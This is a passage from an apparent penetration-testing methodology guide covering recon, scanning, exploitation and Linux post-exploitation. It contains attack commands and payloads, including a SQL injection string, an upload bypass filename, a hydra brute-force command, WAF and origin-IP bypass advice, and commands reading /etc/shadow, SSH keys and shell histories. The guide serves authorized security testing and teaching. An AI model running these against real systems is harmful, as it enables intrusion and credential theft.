success. At every phase, the tester must make informed decisions based on observed behavior rather than strictly following all possible techniques. For example, if a Web Application Firewall (WAF) is detected to be aggressive, fuzzing intensity should be reduced, payloads should be encoded or obfuscated, and more reliance should be placed on passive analysis and bypass techniques. Similarly, if subdomain enumeration yields minimal results, effort should be redirected toward ASN expansion and infrastructure-level discovery. If APIs are identified early, priority should shift toward API-specific testing rather than traditional web fuzzing. Login panels, authentication flows, and exposed administrative interfaces should always be treated as high-value targets and tested early in the engagement.</p><p>Time and resource management is equally important. Not all tools and scans should be executed simultaneously without purpose. High-value targets such as authentication endpoints, exposed services, and known vulnerable components should be prioritized over blind scanning. Automated tools like OWASP ZAP may generate excessive noise and trigger defensive mechanisms, whereas tools like Nuclei provide fast coverage but require proper template selection to avoid irrelevant results. Burp Suite Scanner offers deeper analysis but at the cost of time and resource consumption. Therefore, understanding the trade-off between coverage, depth, and noise is essential.</p><p>False positives are a common issue in automated scanning and must always be handled systematically. Every identified vulnerability should be manually validated by reproducing the issue without scanner-generated payloads, ensuring consistent behavior across multiple attempts, and confirming real impact. A finding should only be considered valid if it is reproducible and demonstrably exploitable under controlled conditions.</p><p>Evidence collection must follow a consistent structure to ensure findings are clear and report-ready. Each validated issue should include the complete request and response pair, affected endpoint, timestamp, reproduction steps, and a concise impact explanation. Screenshots and session artifacts should support the proof-of-concept but not replace technical validation.</p><p>Testing should also adapt based on engagement mode. In stealth mode, the focus should be on passive reconnaissance, low request rates, and manual testing to avoid detection. In aggressive mode, full-scale fuzzing, automated scanners, and high request volumes can be used when detection is not a concern. Choosing the appropriate mode depends on scope, rules of engagement, and target sensitivity.</p><p>A common mistake in VAPT engagements is over-reliance on automated tools while ignoring deeper analysis areas such as JavaScript files, API endpoints, and business logic flaws. Many critical vulnerabilities exist in logic rather than input validation and require manual exploration. Similarly, skipping authentication and authorization testing or failing to validate subdomains properly can result in missed high-impact findings.</p><p>Finally, vulnerabilities should never be viewed in isolation. Real-world attackers chain multiple weaknesses together to achieve meaningful impact. Instead of focusing only on individual issues, the tester should continuously think in terms of attack paths — identifying entry points, escalation opportunities, and potential impact. The ultimate goal is not just to find vulnerabilities, but to demonstrate how they can be combined to compromise the system in a realistic scenario.</p><h3># Phase 2 — Active Reconnaissance &amp; Enumeration</h3><p>Active reconnaissance is the phase where we begin <strong>direct interaction with the target infrastructure</strong>.</p><p>Unlike passive reconnaissance, this phase involves:<br> • Sending requests<br> • Validating discovered assets<br> • Expanding attack surface<br> • Mapping real entry points</p><p>The goal is to convert <strong>collected intelligence into exploitable attack surface</strong>.</p><h3>2.1 Subdomain Validation &amp; Expansion</h3><p>After collecting subdomains during passive reconnaissance, the next step is to <strong>validate and expand them</strong>.</p><p>Not all discovered subdomains are alive. Some may:</p><ul><li>No longer exist</li><li>Be internal-only</li><li>Be legacy endpoints</li></ul><p>At the same time, active techniques help uncover <strong>additional hidden subdomains</strong>, especially across staging and development environments.</p><h3>Tools Used</h3><ul><li>Amass</li><li>Sublist3r</li><li>Subbrute</li><li>Subfinder</li><li>ffuf</li><li>puredns</li><li>httpx</li><li>crt.sh</li><li>SecurityTrails</li><li>GitHub / GitLab</li></ul><p>Start by validating collected subdomains and checking which ones are live:</p><pre>subfinder -d example.com | httpx -web-server -method -websocket -ip</pre><p>This helps identify:</p><ul><li>Live hosts</li><li>Response behavior</li><li>Associated IP addresses</li></ul><p>For deeper enumeration, use active techniques:</p><pre>amass enum -active -d example.com</pre><p>Bruteforcing subdomains:</p><pre>ffuf -u https://FUZZ.example.com -w wordlist.txt </pre><p>High-speed resolution with PureDNS:</p><pre>puredns bruteforce wordlist.txt example.com -r resolvers.txt</pre><p>Things to identify:</p><ul><li>Live vs dead subdomains</li><li>Dev / staging environments</li><li>IP mappings per subdomain</li></ul><p>Subdomains that are <strong>not reachable</strong> should still be investigated.<br> Check them in the Wayback Machine to understand their historical usage.</p><p>These often expose:</p><ul><li>Deprecated applications</li><li>Old admin panels</li><li>Legacy APIs</li></ul><h3>2.2 WAF &amp; Defense Validation</h3><p>Before performing aggressive enumeration or fuzzing, it is important to understand the <strong>defensive mechanisms</strong> protecting the target.</p><p>Modern applications are often protected by:</p><ul><li>Web Application Firewalls (WAF)</li><li>CDNs (Cloudflare, Akamai, etc.)</li><li>Rate limiting systems</li></ul><p>These controls directly impact how you perform testing.</p><h3>Tools Used</h3><ul><li>wafw00f</li><li>WhatWAF</li><li>Burp Suite</li></ul><p>Start by identifying whether a WAF is present:</p><pre>wafw00f https://target.com</pre><p>In addition to automated tools, manually inspect responses using Burp Suite:</p><ul><li>Look for security headers</li><li>Observe blocked requests</li><li>Identify unusual response patterns</li></ul><p>Things to identify:</p><ul><li>WAF presence</li><li>Vendor (Cloudflare, Akamai, etc.)</li><li>Response behavior under load</li></ul><p>Test for:</p><ul><li>Rate limiting</li><li>Request blocking thresholds</li><li>Payload filtering</li></ul><p>Sometimes multiple WAF layers exist (e.g., CDN + backend firewall), so behavior testing is important.</p><p>This step helps you:</p><ul><li>Tune fuzzing speed</li><li>Avoid IP bans</li><li>Adjust payload encoding</li></ul><h3>2.3 Network &amp; Service Enumeration</h3><p>Once subdomains and IPs are identified, the next step is to enumerate <strong>open ports and services</strong>.</p><p>This should include:</p><ul><li>IPs mapped from subdomains</li><li>IP ranges derived from ASN</li></ul><h3>Tools Used</h3><ul><li>Nmap</li><li>Naabu</li><li>Masscan</li><li>Netcat</li><li>hping3</li></ul><p>Start with a full scan:</p><pre>nmap -p- -A target.com</pre><p>For faster scanning:</p><pre>naabu -host target.com</pre><p>You can also scan ASN-derived IP ranges for additional assets.</p><p>Things to identify:</p><ul><li>Open ports</li><li>Running services</li><li>Service versions</li></ul><p>Cross-verify findings with:</p><ul><li>Shodan</li><li>Censys</li></ul><p>This ensures:</p><ul><li>Accuracy</li><li>Removal of false positives</li></ul><p>Open ports directly define your attack surface.<br> For example:</p><ul><li>22 → SSH attacks</li><li>80/443 → Web vulnerabilities</li><li>445 → SMB exploitation</li></ul><h3>2.4 Web Application Mapping</h3><p>This phase focuses on building a <strong>complete map of the application</strong>.</p><p>Understanding the structure helps identify:</p><ul><li>Attack entry points</li><li>Functional flows</li><li>Hidden endpoints</li></ul><h3>Tools Used</h3><ul><li>Burp Suite Pro (crawler &amp; sitemap)</li><li>ffuf</li><li>dirsearch</li><li>feroxbuster</li><li>gospider</li><li>katana</li><li>gau</li><li>kiterunner</li><li>sub404</li></ul><p>Start by crawling the application using Burp Suite and generating a sitemap.</p><p>For directory and endpoint enumeration:</p><pre>ffuf -u https://target.com/FUZZ -w wordlist.txt -recursion</pre><p>Crawling using Katana:</p><pre>katana -jc -u https://target.com</pre><p>Things to identify:</p><ul><li>Hidden directories</li><li>API endpoints</li><li>Parameters</li><li>Third-party integrations</li></ul><p>Pay close attention to:</p><ul><li>File upload/download functionality</li><li>Authentication flows</li><li>Admin/debug endpoints</li></ul><p>This step results in a <strong>complete application attack surface map</strong>.</p><h3>2.5 JavaScript Enumeration &amp; Drift Analysis</h3><p>JavaScript files often contain <strong>critical hidden information</strong> that is not visible during normal browsing.</p><p>These files may expose:</p><ul><li>Internal APIs</li><li>Hardcoded secrets</li><li>Hidden functionality</li></ul><h3>Tools Used</h3><ul><li>LinkFinder</li><li>Burp JSLinkFinder</li><li>getJS</li><li>jsluice</li><li>jsleak</li></ul><p>Extract JavaScript files from:</p><ul><li>Burp Suite</li><li>Crawlers</li><li>Browser DevTools</li></ul><p>Focus on keyword searching:</p><ul><li>api</li><li>key</li><li>token</li><li>password</li><li>admin</li></ul><p>Also analyze:</p><ul><li>DOM sources and sinks</li><li>Client-side validation</li></ul><p>This helps identify:</p><ul><li>Hidden endpoints</li><li>DOM-based vulnerabilities</li></ul><p>JavaScript analysis is often a <strong>high-signal step</strong> for finding deeper attack vectors.</p><h3>2.6 CMS &amp; Framework-Specific Enumeration</h3><p>If a CMS or framework is identified, perform <strong>targeted enumeration</strong>.</p><p>Different platforms have different weaknesses. For example:</p><ul><li>WordPress → plugin vulnerabilities</li><li>Joomla → extension issues</li><li>AEM → misconfigurations</li></ul><h3>Tools Used</h3><ul><li>WPScan</li><li>CMSmap</li><li>joomscan</li><li>wprecon</li><li>pyfiscan</li><li>aemscan</li></ul><p>Example WordPress scan:</p><pre>wpscan --url https://target.com</pre><p>Things to identify:</p><ul><li>Installed plugins</li><li>Themes</li><li>Versions</li></ul><p>Outdated components often map directly to:</p><ul><li>Known CVEs</li><li>Public exploits</li></ul><p>This step allows for <strong>focused vulnerability testing instead of blind fuzzing</strong>.</p><h3>2.7 Application Error Handling Enumeration</h3><p>Error messages can reveal sensitive backend information.</p><p>These are often triggered during:</p><ul><li>Invalid inputs</li><li>Broken requests</li><li>Edge-case scenarios</li></ul><h3>Tools Used</h3><ul><li>Burp Suite</li><li>Arjun</li></ul><p>Example parameter discovery:</p><pre>arjun -u https://target.com</pre><p>Things to identify:</p><ul><li>Stack traces</li><li>Debug messages</li><li>Backend file paths</li></ul><p>These leaks may expose:</p><ul><li>Internal logic</li><li>Database structure</li><li>Framework behavior</li></ul><h3>2.8 HTTP Method Enumeration</h3><p>Applications sometimes expose unintended HTTP methods.</p><p>These can lead to unexpected behavior or security issues.</p><p>Check supported methods:</p><ul><li>OPTIONS request</li><li>Manual testing via Burp</li></ul><p>Things to identify:</p><ul><li>PUT</li><li>DELETE</li><li>PATCH</li></ul><p>Misconfigured methods may allow:</p><ul><li>Unauthorized file uploads</li><li>Data modification</li><li>Access control bypass</li></ul><h3>2.9 Content-Type &amp; Serialization Enumeration</h3><p>Different content types introduce different attack surfaces.</p><p>Understanding how the application processes data is critical.</p><p>Identify usage of:</p><ul><li>JSON</li><li>XML</li><li>multipart/form-data</li></ul><p>These can lead to:</p><ul><li>XXE (XML)</li><li>API abuse (JSON)</li><li>Deserialization attacks</li></ul><p>Also observe:</p><ul><li>Request/response formats</li><li>Backend parsing behavior</li></ul><p>This step prepares you for <strong>deep vulnerability testing in Phase 3</strong>.</p><h3>WHAT WE HAVE TILL NOW</h3><p>At this stage, we have:</p><pre>Validated and expanded subdomains<br>IP mappings (domain + ASN)<br>Open ports and services<br>Full application sitemap<br>Endpoints and parameters<br>JavaScript-derived intelligence<br>WAF behavior and defenses<br>CMS-specific attack surface<br>Email and breach context (from Phase 1)</pre><h3># Phase 3 — Vulnerability Discovery &amp; Validation</h3><p>This phase focuses on identifying, validating, and prioritizing vulnerabilities across the entire attack surface discovered in earlier phases.</p><p>The goal is not just to find issues, but to:</p><ul><li>Confirm exploitability</li><li>Eliminate false positives</li><li>Understand real attack impact</li></ul><h3>3.1 Automated Vulnerability Scanning</h3><p>Automated scanning provides a <strong>broad coverage baseline</strong> by identifying known vulnerabilities, misconfigurations, and exposed services.</p><p>Different scanners use different approaches:</p><ul><li>Signature-based detection</li><li>Behavior-based analysis</li><li>Template-driven scanning</li></ul><h3>Tools Used</h3><ul><li>Burp Suite Pro (Scanner)</li><li>Nessus</li><li>Acunetix</li><li>Nikto</li><li>Nmap NSE</li><li>Nuclei</li><li>Sn1per</li><li>BlackWidow</li><li>flan</li><li>jaeles</li><li>Osmedeus</li><li>OWASP ZAP (noisy)</li></ul><p>Run scans against:</p><ul><li>Verified subdomains</li><li>Key application endpoints</li><li>Identified IPs and services</li></ul><p>Example Nuclei scan:</p><pre>nuclei -u target.com -t cves</pre><p>Nmap NSE scan:</p><pre>nmap --script vuln target.com</pre><p>Run scans from:</p><ul><li>Local machine</li><li>VPS (for scalability and parallel execution)</li></ul><p>Important:<br> All automated findings must be <strong>manually validated</strong> to remove false positives.</p><p>Output of this step:</p><ul><li>Initial vulnerability list</li><li>Scanner-based indicators</li></ul><h3>3.2 403 / 404 Bypass Techniques</h3><p>Applications often restrict access to sensitive endpoints using status codes like <strong>403 Forbidden</strong> or hidden routes.</p><p>These protections are frequently bypassable.</p><h3>Tools Used</h3><ul><li>XFFenum</li><li>NoMore403</li><li>Forbidden Buster</li></ul><p>These tools attempt bypass techniques such as:</p><ul><li>Header manipulation (X-Forwarded-For, etc.)</li><li>Path traversal variations</li><li>Encoding tricks</li></ul><p>Things to identify:</p><ul><li>Hidden admin panels</li><li>Restricted APIs</li><li>Internal endpoints</li></ul><h3>3.3 Origin IP Discovery</h3><p>If the application is behind a CDN or WAF, identifying the <strong>origin IP</strong> can allow direct access to the backend server.</p><h3>Tools Used</h3><ul><li>CloudRip</li><li>hakoriginfinder</li></ul><p>These tools help:</p><ul><li>Identify real server IP behind CDN</li><li>Bypass WAF protections</li></ul><p>Once identified, the origin IP should be:</p><ul><li>Scanned directly</li><li>Tested for exposed services</li></ul><h3>3.4 Brute Force &amp; Password Spraying</h3><p>Authentication systems are often vulnerable to:</p><ul><li>Weak credentials</li><li>Credential reuse</li><li>Poor rate limiting</li></ul><h3>Tools Used</h3><ul><li>Burp Suite (Intruder — cluster bomb with IP rotation)</li><li>owabrute</li><li>hydra</li><li>DefaultCreds cheat sheet</li></ul><p>Hydra example:</p><pre>hydra -l admin -P passwords.txt target.com http-post-form</pre><p>Things to test:</p><ul><li>Login portals</li><li>Email services</li><li>Internal panels</li></ul><p>Use:</p><ul><li>Credential lists from breach data</li><li>Custom wordlists</li></ul><p>Goal:</p><ul><li>Gain valid access without exploitation</li></ul><h3>3.5 Manual Web Vulnerability Testing</h3><p>Automated tools miss logic-based vulnerabilities.<br> Manual testing is where <strong>real vulnerabilities are confirmed</strong>.</p><h3>Tools Used</h3><ul><li>Burp Suite (Repeater, Intruder)</li><li>Browser testing</li><li>Custom payloads</li><li>Awesome bug bounty tools (for exploitation support)</li></ul><h3>Techniques Used</h3><ul><li>Parameter tampering</li><li>Input validation testing</li><li>Business logic analysis</li></ul><p>Test for:</p><ul><li>SQL Injection</li><li>XSS (Reflected, Stored, DOM-based)</li><li>CSRF</li><li>IDOR</li><li>Open Redirect</li><li>File Inclusion (LFI/RFI)</li><li>Command Injection</li><li>Template Injection</li></ul><p>Activities:</p><ul><li>Test all parameters identified in Phase 2</li><li>Modify requests manually</li><li>Observe backend behavior</li></ul><p>Goal:</p><ul><li>Confirm exploitability</li><li>Understand impact</li></ul><p>Output:</p><ul><li>Confirmed vulnerabilities</li><li>Manual validation notes</li></ul><h3>3.6 Authentication &amp; Authorization Testing</h3><p>This step evaluates how well the application enforces <strong>identity and access control</strong>.</p><h3>Tools Used</h3><ul><li>Burp Suite</li><li>Browser DevTools</li></ul><h3>Techniques Used</h3><ul><li>Access control testing</li><li>Session handling analysis</li><li>Privilege boundary testing</li></ul><p>Test for:</p><ul><li>Authentication bypass</li><li>Weak password policies</li><li>Session fixation</li><li>Improper session invalidation</li><li>Authorization bypass (horizontal &amp; vertical)</li></ul><p>Activities:</p><ul><li>Replay session tokens</li><li>Modify user roles</li><li>Access restricted endpoints</li></ul><p>Goal:</p><ul><li>Identify privilege escalation paths</li></ul><p>Output:</p><ul><li>Authentication weaknesses</li><li>Authorization flaws</li></ul><h3>3.7 File Handling Vulnerability Testing</h3><p>File upload and download functionality often leads to <strong>high-impact vulnerabilities</strong>.</p><h3>Tools Used</h3><ul><li>Burp Suite</li><li>Manual payload crafting</li></ul><h3>Techniques Used</h3><ul><li>File upload bypass</li><li>Path manipulation</li><li>File validation testing</li></ul><p>Test for:</p><ul><li>Unrestricted file upload</li><li>MIME-type bypass</li><li>Extension bypass</li><li>File overwrite</li><li>Insecure file download (IDOR/LFI)</li></ul><p>Activities:</p><ul><li>Upload crafted files</li><li>Modify file paths</li><li>Analyze storage behavior</li></ul><p>Goal:</p><ul><li>Achieve file execution or sensitive data access</li></ul><p>Output:</p><ul><li>File handling vulnerabilities</li><li>RCE candidates</li></ul><h3>3.8 API Vulnerability Testing (If Applicable)</h3><p>APIs expose structured attack surfaces and are often poorly secured.</p><h3>Tools Used</h3><ul><li>Burp Suite</li><li>ffuf</li><li>Postman</li><li>fuzzapi</li></ul><h3>Techniques Used</h3><ul><li>Endpoint abuse</li><li>Method manipulation</li><li>Object-level testing</li></ul><p>Test for:</p><ul><li>Broken Object Level Authorization (BOLA)</li><li>Excessive data exposure</li><li>Improper method handling</li><li>Mass assignment</li></ul><p>Activities:</p><ul><li>Modify request bodies</li><li>Change HTTP methods</li><li>Test authorization controls</li></ul><p>Output:</p><ul><li>API vulnerabilities</li><li>Access control issues</li></ul><h3>3.9 Network &amp; Service-Level Vulnerability Validation</h3><p>Beyond web applications, services and infrastructure must also be tested.</p><h3>Tools Used</h3><ul><li>Nmap NSE</li><li>Nessus</li><li>Netcat</li></ul><h3>Techniques Used</h3><ul><li>Misconfiguration testing</li><li>Version-based validation</li></ul><p>Activities:</p><ul><li>Validate scanner findings</li><li>Map service versions to CVEs</li><li>Interact manually with services</li></ul><p>Goal:</p><ul><li>Confirm externally exploitable services</li></ul><p>Output:</p><ul><li>Network-level vulnerabilities</li><li>Service exploitation candidates</li></ul><h3>3.10 CMS &amp; Component Vulnerability Validation</h3><p>If CMS or frameworks are identified, validate vulnerabilities specific to them.</p><h3>Tools Used</h3><ul><li>WPScan</li><li>Manual CVE testing</li></ul><p>Activities:</p><ul><li>Test plugins and components</li><li>Validate exploitability</li><li>Remove false positives</li></ul><p>Goal:</p><ul><li>Identify real exploitable components</li></ul><p>Output:</p><ul><li>CMS-specific vulnerabilities</li></ul><h3>3.11 Vulnerability Correlation &amp; Prioritization</h3><p>At this stage, multiple vulnerabilities exist across different layers.</p><p>The goal is to <strong>connect them into meaningful attack paths</strong>.</p><h3>Techniques Used</h3><ul><li>Risk-based analysis</li><li>Attack surface correlation</li></ul><p>Activities:</p><ul><li>Correlate findings across:</li><li>Web</li><li>API</li><li>Network</li><li>Authentication</li><li>File handling</li></ul><p>Identify:</p><ul><li>Attack chains</li><li>Weakest entry points</li></ul><p>Prioritize based on:</p><ul><li>Impact</li><li>Exploitability</li><li>Exposure</li></ul><p>Output:</p><ul><li>Prioritized vulnerability list</li><li>Attack chain candidates</li></ul><h3>WHAT WE HAVE TILL NOW</h3><p>At this stage, we have:</p><pre>Validated vulnerabilities across web applications, APIs, and network services<br>Scanner-based findings filtered and manually verified (false positives removed)<br>Confirmed web vulnerabilities (SQLi, XSS, IDOR, LFI/RFI, command injection, etc.)<br>Authentication and authorization weaknesses identified<br>File handling vulnerabilities and potential RCE vectors<br>API-specific vulnerabilities (BOLA, mass assignment, improper access control)<br>Network/service-level vulnerabilities mapped with CVE correlation<br>CMS and component-level exploitable weaknesses<br>Successful 403/404 bypass vectors (if applicable)<br>Origin IP identified (if behind WAF/CDN) and tested<br>Valid credentials obtained via brute force / password spraying (if successful)<br>Curated credential lists and improved attack wordlists<br>Initial access points and multiple exploitation candidates</pre><h3># Phase 4 — Exploitation &amp; Impact Assessment</h3><p>This phase focuses on <strong>demonstrating real-world impact</strong> by safely exploiting validated vulnerabilities.</p><p>The objective is not to cause damage, but to:</p><ul><li>Prove exploitability</li><li>Demonstrate business impact</li><li>Build realistic attack scenarios</li></ul><p>All actions should be <strong>controlled, minimal, and evidence-driven</strong>.</p><h3>4.1 Exploitation Planning &amp; Selection</h3><p>Not all vulnerabilities should be exploited.<br> This step ensures exploitation is <strong>targeted, safe, and meaningful</strong>.</p><h3>Techniques Used</h3><ul><li>Risk-based exploitation</li><li>Controlled proof-of-concept execution</li></ul><p>Select vulnerabilities based on:</p><ul><li>High impact</li><li>High exploitability</li><li>Low risk of system instability</li></ul><p>Define:</p><ul><li>Exploitation goals (access, data exposure, execution)</li><li>Success criteria</li><li>Rollback and cleanup steps</li></ul><p>This step ensures:</p><ul><li>No unnecessary disruption</li><li>Clear direction for exploitation</li></ul><p>Output:</p><ul><li>Exploitation plan</li><li>Selected vulnerability set</li></ul><h3>4.2 Web Application Exploitation</h3><p>This step focuses on exploiting vulnerabilities in the <strong>application layer</strong>.</p><h3>Tools Used</h3><ul><li>Burp Suite</li><li>Custom payloads</li><li>Manual browser testing</li></ul><h3>Techniques Used</h3><ul><li>Payload-based exploitation</li><li>Business logic abuse</li><li>Use of GTFOBins and PayloadsAllTheThings</li></ul><p>Exploit:</p><ul><li>SQL Injection → extract limited data</li><li>XSS → controlled payload execution</li><li>IDOR → unauthorized data access</li><li>Authentication bypass</li><li>Command / template injection</li></ul><p>Example (SQLi testing in request):</p><pre>&#39; OR 1=1--</pre><p>Activities:</p><ul><li>Execute payloads in controlled manner</li><li>Capture:</li><li>Requests</li><li>Responses</li><li>Screenshots</li><li>Session artifacts</li></ul><p>Important:</p><ul><li>Limit exploitation to <strong>proof-of-impact only</strong></li><li>Avoid full data dumps or destructive actions</li></ul><p>Output:</p><ul><li>Web exploitation PoCs</li><li>Evidence artifacts</li></ul><h3>4.3 File Handling &amp; RCE Exploitation</h3><p>File-related vulnerabilities often lead to <strong>Remote Code Execution (RCE)</strong>.</p><h3>Tools Used</h3><ul><li>Burp Suite</li><li>Custom payloads</li><li>Manual validation</li></ul><h3>Techniques Used</h3><ul><li>Upload-based execution</li><li>Path traversal exploitation</li></ul><p>Exploit:</p><ul><li>Unrestricted file upload</li><li>File inclusion → code execution</li><li>Insecure file download → sensitive data access</li></ul><p>Example upload bypass attempt:</p><pre>shell.php.jpg</pre><p>Activities:</p><ul><li>Upload crafted files</li><li>Attempt execution or retrieval</li><li>Demonstrate:</li><li>Arbitrary file read</li><li>Limited command execution</li></ul><p>Important:</p><ul><li>Avoid persistent shells unless explicitly allowed</li><li>Keep execution non-destructive</li></ul><p>Output:</p><ul><li>File-based exploitation PoCs</li><li>RCE validation evidence</li></ul><h3>4.4 API Exploitation (If Applicable)</h3><p>APIs often expose <strong>direct access to backend logic</strong>.</p><h3>Tools Used</h3><ul><li>Burp Suite</li><li>Postman</li></ul><h3>Techniques Used</h3><ul><li>Authorization abuse</li><li>Data manipulation</li></ul><p>Exploit:</p><ul><li>Broken Object Level Authorization (BOLA)</li><li>Mass assignment</li><li>Improper method handling</li></ul><p>Activities:</p><ul><li>Modify request parameters</li><li>Change object IDs</li><li>Manipulate request bodies</li></ul><p>Goal:</p><ul><li>Demonstrate unauthorized access</li><li>Extract limited sensitive data</li></ul><p>Output:</p><ul><li>API exploitation PoCs</li><li>Unauthorized access evidence</li></ul><h3>4.5 Network &amp; Service Exploitation</h3><p>This step targets <strong>infrastructure-level vulnerabilities</strong>.</p><h3>Tools Used</h3><ul><li>Nmap</li><li>Metasploit (msf)</li><li>Netcat</li><li>Service-specific tools</li></ul><h3>Techniques Used</h3><ul><li>Service exploitation</li><li>Misconfiguration abuse</li></ul><p>Exploit:</p><ul><li>Weak authentication</li><li>Known CVEs</li><li>Exposed management interfaces</li></ul><p>Example Metasploit usage:</p><pre>use exploit/multi/handler</pre><p>Activities:</p><ul><li>Exploit externally exposed services</li><li>Validate access</li></ul><p>Important:</p><ul><li>Avoid lateral movement unless required</li><li>Do not cause service disruption</li></ul><p>Output:</p><ul><li>Network/service exploitation evidence</li><li>Access confirmation</li></ul><h3>4.6 Attack Chain Development</h3><p>Individual vulnerabilities often become critical when <strong>combined together</strong>.</p><h3>Techniques Used</h3><ul><li>Chained exploitation</li><li>Privilege escalation mapping</li></ul><p>Activities:</p><ul><li>Combine multiple findings</li><li>Demonstrate:</li><li>Initial access</li><li>Privilege escalation</li><li>Expanded access</li></ul><p>Example chain:</p><ul><li>IDOR → account access</li><li>Weak auth → privilege escalation</li><li>File upload → RCE</li></ul><p>Focus on:</p><ul><li>Realistic attacker pathways</li><li>Weakest entry points</li></ul><p>Output:</p><ul><li>Attack chain diagrams</li><li>End-to-end compromise scenarios</li></ul><h3>4.7 Impact Assessment</h3><p>This step translates technical findings into <strong>business risk</strong>.</p><h3>Assess</h3><ul><li>Data confidentiality impact</li><li>Integrity compromise</li><li>Availability risk</li><li>Regulatory/compliance impact</li></ul><h3>Activities</h3><ul><li>Map vulnerabilities to real-world consequences</li><li>Evaluate:</li><li>Likelihood of exploitation</li><li>Potential damage</li></ul><p>Examples:</p><ul><li>Data leak → compliance violation</li><li>RCE → full system compromise</li><li>IDOR → unauthorized access</li></ul><p>Output:</p><ul><li>Business impact assessment</li><li>Risk justification</li></ul><h3>WHAT WE HAVE TILL NOW</h3><p>At this stage, we have:</p><pre>Validated and exploited high-impact vulnerabilities<br>Proof-of-concept (PoC) evidence for web, API, and network flaws<br>Demonstrated RCE and file-based exploitation (if applicable)<br>Confirmed unauthorized access via IDOR, auth bypass, or API flaws<br>Validated service-level exploitation and external access<br>Established realistic attack chains combining multiple weaknesses<br>Identified privilege escalation paths<br>Mapped technical vulnerabilities to real-world business impact<br>Collected complete evidence set (requests, responses, screenshots, artifacts)</pre><h3># Phase 5 — Post-Exploitation (Linux) — Enumeration &amp; Privilege Escalation</h3><p>Once initial access is obtained, the objective shifts from exploitation to <strong>control, escalation, and expansion</strong>.</p><p>Post-exploitation on Linux systems focuses on:</p><ul><li>Enumerating the system thoroughly</li><li>Identifying privilege escalation paths</li><li>Extracting sensitive information</li><li>Preparing for pivoting</li></ul><p>This phase determines how far access can be extended.</p><h3>5.1 System Enumeration (Linux)</h3><p>Enumeration is the most critical step in post-exploitation.<br> Every privilege escalation vector depends on <strong>accurate system intelligence</strong>.</p><h3>Tools Used</h3><ul><li>LinEnum</li><li>Linux Smart Enumeration (LSE)</li></ul><p>Start by identifying the operating system:</p><pre>cat /etc/issue<br>cat /etc/*-release<br>cat /etc/lsb-release<br>cat /etc/redhat-release</pre><p>Check kernel version and architecture:</p><pre>cat /proc/version<br>uname -a<br>uname -mrs<br>rpm -q kernel<br>dmesg | grep Linux</pre><p>Environment variables often reveal useful information:</p><pre>env<br>set<br>cat /etc/profile<br>cat /etc/bashrc<br>cat ~/.bash_profile<br>cat ~/.bashrc<br>cat ~/.bash_logout<br>cat ~/.zshrc</pre><h3>Applications &amp; Services Enumeration</h3><p>Understanding running services is key to identifying privilege escalation vectors.</p><p>Check running processes:</p><pre>ps aux<br>ps -elf<br>top<br>cat /etc/service</pre><p>Identify services running as root:</p><pre>ps aux | grep root<br>ps -elf | grep root</pre><p>Check installed applications:</p><pre>dpkg -l<br>rpm -qa</pre><p>Inspect scheduled jobs:</p><pre>crontab -l<br>cat /etc/cron*<br>cat /etc/cron.d/*<br>cat /etc/cron.daily/*<br>cat /etc/cron.hourly/*<br>cat /etc/cron.monthly/*<br>cat /etc/crontab<br>cat /etc/anacrontab</pre><p>Misconfigured cron jobs are a <strong>common escalation vector</strong>.</p><h3>Network &amp; Communication Enumeration</h3><p>Identify network interfaces and connections:</p><pre>ifconfig<br>ip link<br>ip addr<br>/sbin/ifconfig -a<br>cat /etc/network/interfaces<br>cat /etc/sysconfig/network</pre><p>Check network configuration:</p><pre>cat /etc/resolv.conf<br>cat /etc/networks<br>iptables -L<br>hostname<br>dnsdomainname</pre><p>Identify active connections and users:</p><pre>lsof -i<br>netstat -antup<br>netstat -tulpn<br>last<br>w</pre><p>This helps identify:</p><ul><li>Internal network access</li><li>Lateral movement opportunities</li></ul><h3>User &amp; Sensitive Data Enumeration</h3><p>Identify users and privileges:</p><pre>id<br>who<br>w<br>last<br>cat /etc/passwd<br>cat /etc/sudoers<br>sudo -l</pre><p>Check sensitive files:</p><pre>cat /etc/passwd<br>cat /etc/group<br>cat /etc/shadow</pre><p>Explore user directories:</p><pre>ls -ahlR /root/<br>ls -ahlR /home/</pre><p>Search for credentials in files:</p><pre>cat /var/apache2/config.inc<br>cat /var/lib/mysql/mysql/user.MYD<br>cat /root/anaconda-ks.cfg</pre><p>Check command history:</p><pre>cat ~/.bash_history<br>cat ~/.zsh_history<br>cat ~/.mysql_history<br>cat ~/.php_history</pre><p>Check for SSH keys:</p><pre>cat ~/.ssh/*</pre><p>These often provide <strong>direct access to other systems</strong>.</p><h3>File System Enumeration</h3><p>Inspect mounted file systems:</p><pre>mount<br>df -h<br>cat /etc/fstab</pre><p>Find world-writable files:</p><pre>find / -xdev -type d -perm -0002 -ls 2&gt; /dev/null<br>find / -xdev -type f -perm -0002 -ls 2&gt; /dev/null</pre><p>Find SUID binaries:</p><pre>find / -perm -4000 -user root -exec ls -ld {} \; 2&gt; /dev/null</pre><p>SUID binaries are one of the <strong>most reliable privilege escalation vectors</strong>.</p><h3>Capability &amp; Tool Discovery</h3><p>Check available tools:</p><pre>which perl<br>which python<br>which python3<br>which gcc</pre><p>Check file transfer capabilities:</p><pre>which wget<br>which nc<br>which netcat</pre><p>This determines:</p><ul><li>Exploitation options</li><li>Payload delivery methods</li></ul><h3>5.2 Privilege Escalation (Linux)</h3><p>Once enumeration is complete, the next step is to escalate privileges.</p><h3>Tools Used</h3><ul><li>Traitor</li><li>GTFOBins</li><li>Linux Exploit Suggester</li><li>LinPEAS</li></ul><p>Common escalation paths include:</p><ul><li>SUID binaries</li><li>Misconfigured sudo permissions</li><li>Writable cron jobs</li><li>Kernel vulnerabilities</li></ul><p>Recent Linux vulnerabilities to check:</p><ul><li>DirtyPipe (CVE-2022–0847)</li><li>PwnKit (CVE-2021–4034)</li><li>Baron Samedit (CVE-2021–3156)</li></ul><p>Approach:</p><ul><li>Match kernel version with known exploits</li><li>Check sudo permissions (sudo -l)</li><li>Analyze writable scripts</li></ul><h3>5.3 Post-Exploitation Actions</h3><p>After privilege escalation, controlled actions may include:</p><ul><li>Service interaction or disruption (only if allowed)</li><li>Uploading controlled payloads</li><li>Creating persistence mechanisms</li><li>Data exfiltration (limited and approved)</li></ul><p>All actions must remain:</p><ul><li>Non-destructive</li><li>Within engagement scope</li></ul><h3>5.4 Pivoting &amp; Internal Network Discovery</h3><p>Once access is obtained, the compromised system can be used as a pivot point.</p><p>Identify internal hosts:</p><pre>for host in {1..154}; do ping -c1 192.168.1.$host | grep -B1 &quot;1 received&quot; | grep &quot;statistics&quot; | cut -d &quot; &quot; -f2; done | tee hosts.txt</pre><p>This 